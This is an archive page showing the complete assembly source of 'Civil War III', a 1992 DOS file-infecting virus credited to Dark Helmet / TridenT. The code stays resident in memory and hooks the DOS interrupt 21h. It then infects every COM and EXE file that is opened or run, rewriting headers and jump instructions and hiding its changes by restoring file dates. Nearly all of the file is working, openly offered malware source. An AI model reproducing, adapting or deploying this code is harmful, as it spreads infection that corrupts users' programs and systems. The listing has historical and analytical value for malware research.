home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / CIVIL310.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-01-29  |  11.7 KB  |  477 lines
  1. ;****************************************************************************
  2. ;  Civil War III,                                  *
  3. ;                                                                *
  4. ;  Assembled with Tasm 2.5                                            *
  5. ;  (c) 1992 Dark Helmet / TridenT, The Netherlands                           *
  6. ;  The author takes no responsibility for any damaged caused by this virus  *
  7. ;                                        *
  8. ;****************************************************************************
  9. ;                                        *
  10. ;   Civil War...                                *
  11. ;                                        *
  12. ;   "For all I've seen has change my mind                               *
  13. ;    But still the wars go on as the years go by                        *
  14. ;    With no love for God or human rights                               *
  15. ;    'Cause all these dreams are swept aside                            *
  16. ;    By bloody hands of the hypnotized                        *
  17. ;    Who carry the cross of homicide                                    *
  18. ;    And history bears the scars of our civil war"                      *
  19. ;                                                                *
  20. ;****************************************************************************
  21.  
  22.  
  23.               .Radix 16
  24. Civ_War         Segment
  25.         Model  small
  26.               Assume cs:Civ_War, ds:Civ_War, es:Civ_War
  27.  
  28.               org 100h
  29.  
  30. lenght           equ offset last - start
  31. virus_lenght    equ lenght /16d
  32.  
  33. ;******************************************************************************
  34. ;
  35. ;        A dummy file created only for the virus dropper
  36. ;
  37. ;******************************************************************************
  38.  
  39. dummy:             db 0e9h, 00h, 00h                ; Jump + infection
  40.                                               ; marker
  41.  
  42. ;******************************************************************************
  43. ;
  44. ;            Here starts the virus code
  45. ;
  46. ;******************************************************************************
  47.  
  48. start:             call     start_2                      ; Make call to
  49.                                                ; push IP on stack.
  50. start_2:    pop     bp                ; Get IP from stack.
  51.         sub     bp, offset start_2
  52.  
  53. check_host:    cmp     cs:[host_file+bp],0Ch        ; Check if the host 
  54.                             ; file is a COM file.
  55.         jne     exe_start            ; Host file is an
  56.                             ; EXE file.
  57.  
  58. com_start:    mov    di,0100h            ; Restore beginning 
  59.         lea    si,cs:[host_begin+bp]            ; of the host file
  60.         mov    cx,03h                ; (first 6 bytes).
  61.         rep    movsb    
  62.  
  63.         push    cs                ; New CS on stack.
  64.         mov    ax,0100h            ; New IP on stack.
  65.         push    ax
  66.         jmp    chk_install
  67.         
  68. exe_start:    mov    ax,cs:[old_cs+bp]        ; Calculate new
  69.         mov    bx,ax                ; CS
  70.         mov    ax,ds
  71.         add    ax,bx
  72.         add    ax,10h
  73.         push    ax                ; New CS on stack.
  74.         mov    ax,cs:[old_ip+bp]            
  75.         push    ax                 ; New IP on stack.
  76.  
  77.                 
  78. chk_install:      
  79.         push    ds
  80.         push    es
  81.         
  82.         mov    ah,0a0h                   ; check if virus already    
  83.         int    21h                   ; resident    
  84.         cmp    ax,0003h               ; check for virus_id    
  85.         je    abort
  86.  
  87. adjust_memory:    push    ds                ; lower DS with 1
  88.         pop    ax                ; paragraf
  89.         dec    ax
  90.         push    ax
  91.         pop    ds
  92.         cmp    byte ptr ds:[0000],5a        ; Check if last MCB.
  93.         jne    abort                ; If not last MCB end.
  94.  
  95.         mov    ax,ds:[0003]            ; decrease memory size
  96.         sub    ax,50h                ; by about 1k     
  97.         mov    ds:[0003],ax    
  98.         
  99.         sub    word ptr ds:[0012],50h        
  100.         
  101. install_virus:  mov    bx,ax                ; virus destination.
  102.         mov    ax,es
  103.         add    ax,bx
  104.         mov    es,ax
  105.         mov    cs:[v_segment+bp],es        ; save virus segment
  106.                             ; for hooking interrupt
  107.         push    cs                ; DS points to segment
  108.         pop    ds                ; with virus
  109.  
  110.         mov    cx,lenght            ; Virus lenght.
  111.         lea    si,[start+bp]            ; Start of virus.    
  112.         lea    di,es:0103h            ; Where to copy virus
  113.                             ; to.
  114.         rep    movsb                ; move virus to 
  115.                             ; new memory location.
  116.  
  117. hook_int21:    cli                        ; hook int21h
  118.         mov    ax,3521h            ; get old int 21h
  119.         int    21h                ; vector
  120.         mov    ds,cs:[v_segment+bp]
  121.         mov    ds:[old_21h],bx            ; old vector in memory
  122.         mov    ds:[old_21h+2],es            
  123.  
  124.         mov    ax,ds                ; INT 21, AX 2521
  125.         mov    bx,ax                ; bx segment new int21
  126.         mov    dx, offset main_virus            ; dx offset new int21
  127.         xor    ax,ax
  128.         mov    ds,ax
  129.         mov    ds:[4*21h],dx            ; offset int 21h
  130.         mov    ds:[4*21h+2],bx            ; seggment int 21h
  131.  
  132.         sti
  133.  
  134. abort:      pop    es
  135.         pop    ds
  136.         retf                    ; continu with orginal
  137.                             ; programming
  138.  
  139.  
  140. ;******************************************************************************
  141. ;
  142. ;           This part of the virus will intercept the interuptvectors
  143. ;
  144. ;******************************************************************************
  145.  
  146.  
  147. main_virus:    
  148.         pushf
  149.         cmp    ah,0a0h                ; check if virus ask
  150.         jne    new_21h                ; for virus_id
  151.         mov    ax,0003h            ; returns virus_id
  152.         popf
  153.         iret
  154.  
  155. new_21h:    push    ax
  156.         push    bx
  157.         push    cx
  158.         push    dx
  159.         push    ds
  160.         push    es
  161.         push    di
  162.         push    sp
  163.         push    bp
  164.         
  165. chk_open:    cmp    ah,3dh                ; check if a file is
  166.         je    chk_com                ; opened
  167.  
  168. chk_exec:    cmp    ax,4b00h            ; check if a file is
  169.         je    chk_com                ; executed
  170.  
  171. continu:    pop    bp
  172.         pop    sp
  173.         pop    di
  174.         pop    es                ; recover registers
  175.         pop    ds
  176.         pop    dx
  177.         pop    cx
  178.         pop    bx
  179.         pop    ax
  180.         popf
  181.         jmp    dword ptr cs:[old_21h]
  182.  
  183. ;******************************************************************************
  184.  
  185.  
  186.  
  187.  
  188. chk_com:    mov    cs:[name_seg],ds        ; ds:dx = filename
  189.         mov    cs:[name_off],dx
  190.         
  191.                             ; check if extension
  192.         cld                    ; is .COM
  193.         mov    di,dx
  194.         push    ds
  195.         pop    es
  196.         mov    al,'.'
  197.         repne    scasb
  198.         cmp    word ptr es:[di],'OC'
  199.         jne    chk_exe
  200.         cmp    byte ptr es:[di+2],'M'
  201.         jne    continu
  202.         
  203.         jmp    infect_com
  204.  
  205. chk_exe:    cmp    word ptr es:[di],'XE'        ; check if extension
  206.         jne    continu                ; is .EXE
  207.         cmp    byte ptr es:[di+2],'E'
  208.         jne    continu
  209.  
  210. ;******************************************************************************
  211. ;
  212. ;        This part will infect a EXE file
  213. ;
  214. ;******************************************************************************
  215.  
  216. infect_exe:    mov    cs:[host_file],0Eh        ; EXE marker
  217.         call    int24h
  218.         call    open_file            ; open file 
  219.         jc    close_file            ; Error?
  220.         call    set_atributes
  221.         call    get_date            ; get file date/time
  222.                 call    chk_infect                      ; check if already
  223.                             ; infect
  224.  
  225.                 je      close_file
  226.  
  227.         mov    ax,4200h            ; go to filestart
  228.         call    mov_point    
  229.         mov    ah,3fh                ; read exe header
  230.         mov    cx,18h
  231.         lea    dx,[head_buffer]        ; store header in
  232.         call    do_int21h            ; HEAD_BUFFER
  233.  
  234.                 call    EXE_inf                         ; call for infection
  235.                                                         ; of EXE file
  236.  
  237.         call    save_date
  238.         jmp    close_file
  239.  
  240. ;******************************************************************************
  241. ;
  242. ;                This part will infect COM files
  243. ;
  244. ;******************************************************************************
  245.  
  246. infect_com:     mov     cs:[host_file],0Ch              ; COM marker
  247.         call    int24h
  248.         call    open_file            ; open file
  249.                 jc      close_file                      ; error?
  250.         call    set_atributes
  251.         call    get_date            ; get file date/time
  252.         call    chk_infect            ; check if already
  253.                             ; infect
  254.  
  255.         
  256.  
  257.                 je      close_file            ; already infected
  258.  
  259.         mov    ax,4200h            ; get beginning of file
  260.         call    mov_point
  261.  
  262.         mov    ah,3fh
  263.         mov    cx,03h
  264.         push    cs
  265.         pop    ds
  266.         lea    dx,[host_begin]
  267.         call    do_int21h
  268.         
  269.  
  270.         mov    ax,4200h            ; get file lenght
  271.         call    mov_point
  272.  
  273.                 mov     ax,4202h
  274.         call    mov_point
  275.         sub    ax,03h                ; subtract 3 bytes for
  276.         mov    cs:[lenght_file],ax        ; jump instruction
  277.                             ; later
  278.  
  279.         call    write_jmp            ; write jmp instruction
  280.         call    write_vir             ; write virus
  281.         call    save_date
  282.  
  283. close_file:    mov    bx,cs:[handle]            ; close file
  284.         mov    ah,3eh
  285.         call    do_int21h
  286.  
  287. restore_int24h:    mov    dx,cs:[old_24h]            ; restore int 24h    
  288.         mov    ds,cs:[old_24h+2]
  289.         mov    ax,2524h
  290.         call    do_int21h
  291.         jmp    continu                ; continu with 
  292.                             ; interrupt
  293.  
  294. new_24h:    mov    al,3
  295.         iret
  296.  
  297. ;******************************************************************************
  298. ;
  299. ;            Procedure's used in the virus
  300. ;
  301. ;******************************************************************************
  302.  
  303. int24h:        push    cs
  304.         pop    ds
  305.         mov    ax,3524h            ; hook int24h
  306.         call    do_int21h
  307.         mov    cs:[old_24h],bx
  308.         mov    cs:[old_24h+2],es
  309.         mov    dx,offset new_24h
  310.         mov    ax,2524h
  311.         call    do_int21h
  312.         ret
  313.  
  314. set_atributes:  mov    ax,4300h            ; clear file 
  315.         mov    ds,cs:[name_seg]        ; atributes
  316.         mov    dx,cs:[name_off]
  317.         call    do_int21h
  318.         and    cl,0feh
  319.         mov    ax,4301h
  320.         call    do_int21h
  321.         ret
  322.  
  323. get_date:    mov    ax,5700h            ; get original            
  324.         call    do_int21h            ; time and date
  325.         mov    cs:[date],dx            ; of file    
  326.         mov    cs:[time],cx
  327.         ret
  328.  
  329. save_date:     mov    bx,cs:[handle]
  330.         mov    dx,cs:[date]
  331.         mov    cx,cs:[time]
  332.         mov    ax,5701h
  333.         call     do_int21h
  334.         ret
  335.  
  336. open_file:     mov    ds,cs:[name_seg]        ; open file
  337.         mov    dx,cs:[name_off]        ; with pointer to
  338.         mov    ax,3d02h            ; name in ds:dx
  339.         call    do_int21h
  340.         mov    cs:[handle],ax
  341.         mov    bx,ax    
  342.         ret
  343.  
  344. chk_infect:    push    cs
  345.         pop    ds
  346.         mov    ax,4202h            ; file-pointer
  347.         xor    cx,cx                ; to infection marker
  348.         sub    cx,01h
  349.         xor    dx,dx
  350.         sub    dx,02h
  351.         mov    bx,[handle]
  352.         call    do_int21h
  353.  
  354.         mov    ah,3f
  355.         mov    cx,02h
  356.         lea    dx,[file_id]        
  357.         call    do_int21h
  358.                 
  359.         mov     al, byte ptr cs:[file_id]
  360.         mov    ah, byte ptr cs:[file_id]+1
  361.         cmp    ax,[id_marker]
  362.         ret
  363.  
  364.         
  365. mov_point:    push    cs
  366.         pop    ds
  367.         mov    bx,cs:[handle]            ; move filepointer
  368.         xor    cx,cx                
  369.         xor    dx,dx
  370.         call    cs:do_int21h
  371.         ret
  372.  
  373.  
  374. write_jmp:    push    cs
  375.         pop    ds
  376.         mov    ax,4200h            ; write JUMP 
  377.         call    mov_point            ; instruction
  378.         mov    ah,40h                ; at begin of file
  379.         mov    cx,01h
  380.         lea    dx,cs:[jump]
  381.         call    do_int21h
  382.         
  383.         mov    ah,40h                ; write offset
  384.         mov    cx,02h                ; for JUMP
  385.         lea    dx,cs:[lenght_file]
  386.         call    do_int21h
  387.         ret
  388.  
  389. write_vir:    push    cs
  390.         pop    ds
  391.         mov    ax,4202h            ; write actual
  392.         call    mov_point            ; virus at end of 
  393.         mov    ah,40h                ; file
  394.         mov    cx,lenght
  395.         mov    dx,103h
  396.         call    do_int21h
  397.         ret
  398.  
  399. EXE_inf:        mov     ax,word ptr cs:[head_buffer+14h] ; store old IP
  400.         mov    cs:[old_ip],ax
  401.         mov    ax,word ptr cs:[head_buffer+16h] ; store old CS
  402.         mov    cs:[old_cs],ax
  403.  
  404. new_CS_IP:      mov     ax,4200h                        ; get filelenght
  405.         call    mov_point
  406.         mov    ax,4202h             
  407.         call    mov_point
  408.         mov    bx,10h                ; divide filelenght
  409.         div    bx                        ; by 16
  410.         sub    ax,word ptr cs:[head_buffer+08h]
  411.         mov    cs:[new_cs],ax            ; store new CS
  412.         mov    cs:[new_ip],dx            ; store new IP    
  413.                 call    write_vir                       ; write virus to end
  414.                             ; of file
  415. new_size:       mov     ax,4200h                        ; Get new filesize
  416.         call    mov_point            ; and calculate 
  417.         mov    ax,4202h            ; PAGE and OFFSET
  418.         call    mov_point            ; size for in the 
  419.         mov    bx,0200h            ; EXE buffer.
  420.         div    bx
  421.         cmp    dx,0000h
  422.         jne    niet_nul
  423.         jmp    doorgaan
  424. niet_nul:    inc    ax
  425. doorgaan:    mov    word ptr cs:[head_buffer+02h],dx ; new mod lengh
  426.         mov    word ptr cs:[head_buffer+04h],ax ; new page lenght
  427.         mov    ax,cs:[new_ip]
  428.         mov    word ptr cs:[head_buffer+14h],ax ; new IP
  429.         mov    ax,cs:[new_cs]
  430.         mov     word ptr cs:[head_buffer+16h],ax ; new CS
  431.  
  432.         mov    word ptr cs:[head_buffer+0E],ax  ; new SS
  433.         mov    word ptr cs:[head_buffer+10],1000 ; new SP
  434.         
  435.         mov    ax,4200h
  436.         call    mov_point
  437.                 mov     ah,40h                          ; write new
  438.         mov    bx,cs:[handle]            ; EXE header
  439.         mov    cx,18h
  440.         lea     dx,cs:[head_buffer]
  441.         call    do_int21h
  442.                 ret
  443.  
  444. do_int21h:      pushf
  445.         call    dword ptr cs:[old_21h]
  446.         ret
  447.  
  448. ;******************************************************************************
  449. ;
  450. ;                      D A T A
  451. ;
  452. ;******************************************************************************
  453.  
  454. v_name        db    "Civil War III v1.0, (c) Dec 1992, [ DH / TridenT] "
  455. old_21h        dw    00h,00h
  456. old_24h        dw    00h,00h
  457. host_file    db    0Ch
  458. host_begin    db    90h,0cdh,20h
  459. jump        db    0e9h
  460. name_seg    dw    ?
  461. name_off    dw    ?
  462. v_segment    dw    ?
  463. handle        dw    ?
  464. lenght_file    dw    ?
  465. date        dw    ?
  466. time        dw    ?
  467. head_buffer    db    18 dup (?)
  468. file_id        dw    0000
  469. old_cs        dw    ?
  470. old_ip        dw    ?
  471. new_cs        dw    ?
  472. new_ip        dw    ?
  473. Id_Marker    dw    "GR"
  474. last        dw    "GR"
  475. civ_war        ends
  476.         end    dummy
  477.